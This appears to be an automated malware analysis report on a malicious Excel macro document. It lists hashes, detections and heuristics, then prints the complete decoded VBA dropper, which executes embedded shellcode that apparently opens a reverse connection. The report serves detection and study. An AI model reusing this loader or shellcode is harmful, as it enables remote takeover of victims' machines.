Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4d17fff2ce088ec…

MALICIOUS

Office (OLE)

32.5 KB Created: 2017-12-07 00:12:58 Authoring application: Microsoft Excel First seen: 2017-12-09
MD5: dffa84134d8f4d59a16ceca1bb03cb72 SHA-1: aed97d9da68f2c448ec5f58456792a6e0175cdf2 SHA-256: c4d17fff2ce088ecf096eee0c8f0aedbad413996c4673f99a265f88bf62f9943
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The file contains VBA macros, including AutoOpen and Workbook_Open, which are commonly used to execute malicious code upon opening. The script utilizes VirtualAlloc and CreateThread, indicating it allocates memory and executes shellcode. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' suggests this is a dropper for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Ucs As Long, Nfyla As Variant, Llok As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4069 bytes
SHA-256: 85e0a47e7e57b83eaf384b2209290d44aa37efe041a3f2ba65ea7ff877b8994e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Kneildii As Long, ByVal Ldo As Long, ByVal Aprxvp As LongPtr, Ogncexspt As Long, ByVal Kqwbpftz As Long, Egdf As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Fseqhhge As Long, ByVal Dwffxbi As Long, ByVal Hdlvcohy As Long, ByVal Ciql As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Lvh As LongPtr, ByRef Lqntivcb As Any, ByVal Wqkatdyzd As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Kneildii As Long, ByVal Ldo As Long, ByVal Aprxvp As Long, Ogncexspt As Long, ByVal Kqwbpftz As Long, Egdf As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Fseqhhge As Long, ByVal Dwffxbi As Long, ByVal Hdlvcohy As Long, ByVal Ciql As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Lvh As Long, ByRef Lqntivcb As Any, ByVal Wqkatdyzd As Long) As Long
#End If

Sub Auto_Open()
    Dim Ucs As Long, Nfyla As Variant, Llok As Long
#If VBA7 Then
    Dim Pxwafvi As LongPtr, Wgasz As LongPtr
#Else
    Dim Pxwafvi As Long, Wgasz As Long
#End If
    Nfyla = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 1, 133, 104, 2, 0, 0, 139, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195)

    Pxwafvi = VirtualAlloc(0, UBound(Nfyla), &H1000, &H40)
    For Llok = LBound(Nfyla) To UBound(Nfyla)
        Ucs = Nfyla(Llok)
        Wgasz = RtlMoveMemory(Pxwafvi + Llok, Ucs, 1)
    Next Llok
    Wgasz = CreateThread(0, 0, Pxwafvi, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub




Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True